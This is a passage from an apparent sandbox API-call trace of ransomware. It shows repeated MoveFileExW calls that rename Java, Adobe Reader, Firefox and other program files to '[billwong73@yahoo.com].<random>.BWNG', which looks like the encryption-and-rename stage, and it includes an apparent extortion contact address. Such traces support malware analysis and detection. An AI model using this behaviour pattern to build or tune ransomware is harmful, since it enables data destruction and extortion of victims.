(x86)\\java\\jre7\\[billwong73@yahoo.com].nq373lzf-6ywnxliz.bwng"), dwFlags=0x1) returned 1 [0118.094] GetTickCount () returned 0x1165245 [0118.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26004622037) returned 1 [0118.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].7Cu93waZ-ZUvJMbgg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].7cu93waz-zuvjmbgg.bwng"), dwFlags=0x1) returned 1 [0118.096] GetTickCount () returned 0x1165245 [0118.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26004799521) returned 1 [0118.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansdemibold.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].Mf4heCLV-2opTx3Gp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].mf4heclv-2optx3gp.bwng"), dwFlags=0x1) returned 1 [0118.097] GetTickCount () returned 0x1165245 [0118.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26004947771) returned 1 [0118.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tirane"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].YKvPRt7l-nucotEEt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].ykvprt7l-nucoteet.bwng"), dwFlags=0x1) returned 1 [0118.098] GetTickCount () returned 0x1165245 [0118.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005075707) returned 1 [0118.099] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].uIiyQv4C-lijOiDHq.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].uiiyqv4c-lijoidhq.bwng"), dwFlags=0x1) returned 1 [0118.100] GetTickCount () returned 0x1165245 [0118.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005203168) returned 1 [0118.100] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mayotte"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].DD5lHAjE-pyvuEzAf.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].dd5lhaje-pyvuezaf.bwng"), dwFlags=0x1) returned 1 [0118.101] GetTickCount () returned 0x1165245 [0118.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005332711) returned 1 [0118.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\efate"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].KiZVdvEp-y3d3BHvH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].kizvdvep-y3d3bhvh.bwng"), dwFlags=0x1) returned 1 [0118.102] GetTickCount () returned 0x1165245 [0118.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005467792) returned 1 [0118.103] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].8EhgC4s9-Nc5P3N8l.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].8ehgc4s9-nc5p3n8l.bwng"), dwFlags=0x1) returned 1 [0118.104] GetTickCount () returned 0x1165245 [0118.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005622990) returned 1 [0118.104] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].CIT6UZGt-7B7yObTu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].cit6uzgt-7b7yobtu.bwng"), dwFlags=0x1) returned 1 [0118.105] GetTickCount () returned 0x1165245 [0118.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005753059) returned 1 [0118.106] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\pycc.pf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].XUqJbnoW-Iavoi0f3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].xuqjbnow-iavoi0f3.bwng"), dwFlags=0x1) returned 1 [0118.107] GetTickCount () returned 0x1165245 [0118.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26005881469) returned 1 [0118.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].ph02aMBZ-TQqbl9Ty.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].ph02ambz-tqqbl9ty.bwng"), dwFlags=0x1) returned 1 [0118.108] GetTickCount () returned 0x1165245 [0118.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26006002002) returned 1 [0118.109] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Johnston" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\johnston"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].Jlo4aVn8-IHq1d3rB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].jlo4avn8-ihq1d3rb.bwng"), dwFlags=0x1) returned 1 [0118.110] GetTickCount () returned 0x1165255 [0118.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26006230474) returned 1 [0118.110] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].wtN1RJSk-86FOwy1w.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].wtn1rjsk-86fowy1w.bwng"), dwFlags=0x1) returned 1 [0118.112] GetTickCount () returned 0x1165255 [0118.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26006386120) returned 1 [0118.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_pt_br.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].5wxzzIRZ-pcgoA0a4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].5wxzzirz-pcgoa0a4.bwng"), dwFlags=0x1) returned 1 [0118.190] GetTickCount () returned 0x11652a3 [0118.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26014205818) returned 1 [0118.190] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Noumea" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\noumea"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].dDDRA04q-DJLrfKjM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].dddra04q-djlrfkjm.bwng"), dwFlags=0x1) returned 1 [0118.262] GetTickCount () returned 0x11652e1 [0118.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26021453699) returned 1 [0118.263] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_it.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].Wt2CNDuz-Ird4wuPb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].wt2cnduz-ird4wupb.bwng"), dwFlags=0x1) returned 1 [0118.264] GetTickCount () returned 0x11652f1 [0118.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26021642348) returned 1 [0118.265] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].sR8zJw7D-5c8nDMUa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].sr8zjw7d-5c8ndmua.bwng"), dwFlags=0x1) returned 1 [0118.266] GetTickCount () returned 0x11652f1 [0118.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26021807378) returned 1 [0118.266] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\[billwong73@yahoo.com].Q17rL7VG-H3LYGSay.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\[billwong73@yahoo.com].q17rl7vg-h3lygsay.bwng"), dwFlags=0x1) returned 1 [0118.267] GetTickCount () returned 0x11652f1 [0118.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26021946796) returned 1 [0118.267] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tongatapu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tongatapu"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].gLru3FSD-KcLa3axH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].glru3fsd-kcla3axh.bwng"), dwFlags=0x1) returned 1 [0118.269] GetTickCount () returned 0x11652f1 [0118.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26022084295) returned 1 [0118.269] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].ulG0Z75Z-lZwpIQvV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].ulg0z75z-lzwpiqvv.bwng"), dwFlags=0x1) returned 1 [0118.344] GetTickCount () returned 0x116533f [0118.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26029604243) returned 1 [0118.344] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].YUOO7n0w-CI2xtbYB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].yuoo7n0w-ci2xtbyb.bwng"), dwFlags=0x1) returned 1 [0118.345] GetTickCount () returned 0x116533f [0118.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26029776030) returned 1 [0118.346] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\[billwong73@yahoo.com].Vx564pIL-ayuNA7BW.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\[billwong73@yahoo.com].vx564pil-ayuna7bw.bwng"), dwFlags=0x1) returned 1 [0118.425] GetTickCount () returned 0x116538d [0118.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26037770736) returned 1 [0118.426] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].wu2B98LA-9CXzJyto.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].wu2b98la-9cxzjyto.bwng"), dwFlags=0x1) returned 1 [0118.427] GetTickCount () returned 0x116538d [0118.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26037945658) returned 1 [0118.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].QD8AM7DJ-HTjBpPCP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].qd8am7dj-htjbppcp.bwng"), dwFlags=0x1) returned 1 [0118.429] GetTickCount () returned 0x116538d [0118.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26038089400) returned 1 [0118.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].DC4ll5DF-P55Fd1Yn.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].dc4ll5df-p55fd1yn.bwng"), dwFlags=0x1) returned 1 [0118.430] GetTickCount () returned 0x116538d [0118.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26038227870) returned 1 [0118.430] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].MhqcnnCj-iGq1veQ1.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].mhqcnncj-igq1veq1.bwng"), dwFlags=0x1) returned 1 [0118.431] GetTickCount () returned 0x116538d [0118.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26038365833) returned 1 [0118.432] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bamako"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].9PIgNTgb-WZq2omJ4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].9pigntgb-wzq2omj4.bwng"), dwFlags=0x1) returned 1 [0118.433] GetTickCount () returned 0x116538d [0118.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26038496126) returned 1 [0118.433] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\conakry"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].OhM7qVE3-aYcwq9RS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ohm7qve3-aycwq9rs.bwng"), dwFlags=0x1) returned 1 [0118.437] GetTickCount () returned 0x116539d [0118.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26038972024) returned 1 [0118.438] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].0rY4Mey4-dDbEqQh0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].0ry4mey4-ddbeqqh0.bwng"), dwFlags=0x1) returned 1 [0118.439] GetTickCount () returned 0x116539d [0118.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26039096388) returned 1 [0118.439] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemibold.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].X3D0KISD-ly69CvAb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].x3d0kisd-ly69cvab.bwng"), dwFlags=0x1) returned 1 [0118.440] GetTickCount () returned 0x116539d [0118.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26039218410) returned 1 [0118.440] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].3xHR3pQD-Joactg0P.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].3xhr3pqd-joactg0p.bwng"), dwFlags=0x1) returned 1 [0118.441] GetTickCount () returned 0x116539d [0118.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26039333990) returned 1 [0118.441] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\[billwong73@yahoo.com].09H2pQgU-5Na4i3Y6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\[billwong73@yahoo.com].09h2pqgu-5na4i3y6.bwng"), dwFlags=0x1) returned 1 [0118.529] GetTickCount () returned 0x11653eb [0118.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26048112889) returned 1 [0118.530] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\[billwong73@yahoo.com].pO40BoyI-D7eudm15.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\[billwong73@yahoo.com].po40boyi-d7eudm15.bwng"), dwFlags=0x1) returned 1 [0118.531] GetTickCount () returned 0x11653fa [0118.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26048329949) returned 1 [0118.531] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\cacerts"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].KjXNIjmI-DBNSW0g4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].kjxnijmi-dbnsw0g4.bwng"), dwFlags=0x1) returned 1 [0118.533] GetTickCount () returned 0x11653fa [0118.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26048477455) returned 1 [0118.535] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].KT4Jv568-EfvdOvny.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].kt4jv568-efvdovny.bwng"), dwFlags=0x1) returned 1 [0118.536] GetTickCount () returned 0x11653fa [0118.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26048859631) returned 1 [0118.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bujumbura"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].LCWHegU7-VV31lV9B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].lcwhegu7-vv31lv9b.bwng"), dwFlags=0x1) returned 1 [0118.538] GetTickCount () returned 0x11653fa [0118.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26049009001) returned 1 [0118.538] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\freetown"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].LGNKyZR8-bvDBXn5M.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].lgnkyzr8-bvdbxn5m.bwng"), dwFlags=0x1) returned 1 [0118.539] GetTickCount () returned 0x11653fa [0118.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26049137661) returned 1 [0118.539] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\libreville"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].H17VFgmp-3qxy1JOj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].h17vfgmp-3qxy1joj.bwng"), dwFlags=0x1) returned 1 [0118.540] GetTickCount () returned 0x11653fa [0118.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26049259692) returned 1 [0118.541] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\monrovia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].NiphRplC-QSE7qjDi.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].niphrplc-qse7qjdi.bwng"), dwFlags=0x1) returned 1 [0118.611] GetTickCount () returned 0x1165448 [0118.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26056329203) returned 1 [0118.612] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\windhoek"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].Ev4kZn8y-emrBdMoP.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ev4kzn8y-emrbdmop.bwng"), dwFlags=0x1) returned 1 [0118.613] GetTickCount () returned 0x1165448 [0118.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26056517161) returned 1 [0118.613] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\La_Rioja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\la_rioja"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].sf4GTRBY-mQvRiPeY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].sf4gtrby-mqvripey.bwng"), dwFlags=0x1) returned 1 [0118.614] GetTickCount () returned 0x1165448 [0118.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26056668383) returned 1 [0118.615] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\atikokan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].1bfRviuY-JEutNs4V.BWNG" (normalized: "c:\\program files 